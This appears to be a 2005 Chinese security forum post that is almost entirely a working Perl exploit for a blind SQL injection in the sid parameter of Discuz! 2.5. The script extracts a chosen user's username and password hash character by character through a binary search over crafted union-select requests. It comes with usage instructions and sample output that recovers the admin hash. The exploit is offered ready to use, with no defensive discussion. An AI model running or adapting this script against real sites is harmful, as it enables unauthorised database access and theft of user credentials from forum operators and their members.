Discuz! 2.5 $sid SQL injection exploit

本文作者：SuperHei
文章性质：原创
发布日期：2005-10-18

#!/usr/bin/perl
#Discuz! 2.5 $sid SQL injection exploit
#Need magic_quotes_gpc = Off
#Bug Found By SuperHei_at_www.4ngel.net
#The codz base on 1dt.w0lf(rst.void.ru) Thx!
#
#C:\Perl\bin>dz3.pl http://127.0.0.1/Discuz!_2.5F_gb/upload 1
#Please wait...
#[||||||||||||||||||||||||||||||||||||||]
#
#------------------x REPORT x-------------------
# Uid: 1
# Username: admin
# Password Hash: 25f9e794323b453885f5181f1b624d0b
#------------------x REPORT x-------------------
#total requests: 326

use LWP::UserAgent;

$path = $ARGV[0];
$uid = $ARGV[1];
$string = "to:";

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
　　& found(0,122);
　　if ($char=="0")
　　{
　　　　print "]\r\n\r\n";
　　　　($res1,$res2)=split(":",$allchar); #
　　　　print "------------------x REPORT x-------------------\r\n";
　　　　print " Uid: $uid\r\n";
　　　　print " Username: $res1\r\n";
　　　　print " Password Hash: $res2\r\n";
　　　　print "------------------x REPORT x-------------------\r\n";
　　　　print "total requests: $n\r\n";
　　　　exit();
　　}
　　else
　　{
　　　　print "|";
　　　　$allchar .= chr($char);
　　}
　　$s_num++;
}

sub found($$)
{
　　my $fmin = $_[0];
　　my $fmax = $_[1];
　　if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
　　$r = int($fmax - ($fmax-$fmin)/2);
　　$check = ">$r";
　　if ( &check($check) ) { &found($r,$fmax); }
　　else { &found($fmin,$r+1); }
}

sub crack($$)
{
　　my $cmin = $_[0];
　　my $cmax = $_[1];
　　$i = $cmin;
　　while ($i<$cmax)
　　{
　　　　$crcheck = "=$i";
　　　　if ( &check($crcheck) ) { return $i; }
　　　　$i++;
　　}
　　return;
}

sub check($)
{
　　$n++;
　　$ccheck = $_[0];

　　$http_query = $path."/index.php?sid=' union select null,null,null,null,null from cdb_members where uid=".$uid." AND ascii(substring(CONCAT(username,CHAR(58),Password),".$s_num.",1))".$ccheck." /*";

　　# print "\r\n $http_query \r\n";

　　$mcb_reguest = LWP::UserAgent->new() or die;

　　$res = $mcb_reguest->post($http_query);
　　@results = $res->content;

　　@num=grep /$string/, @results;
　　$size=@num;
　　if ($size > 0) { return 1; }
　　return 0;
}

sub usage
{
　　print "=========================================================\r\n";
　　print " Discuz! 2.5 \$sid SQL injection exploit\r\n";
　　print " Need magic_quotes_gpc = Off \r\n";
　　print "=========================================================\r\n";
　　print " Usage: $0 [bbspath/] [uid]\r\n";
　　print " e.g. : $0 http://127.0.0.1/bbs 1\r\n";
　　print "=========================================================\r\n";
　　exit();
}

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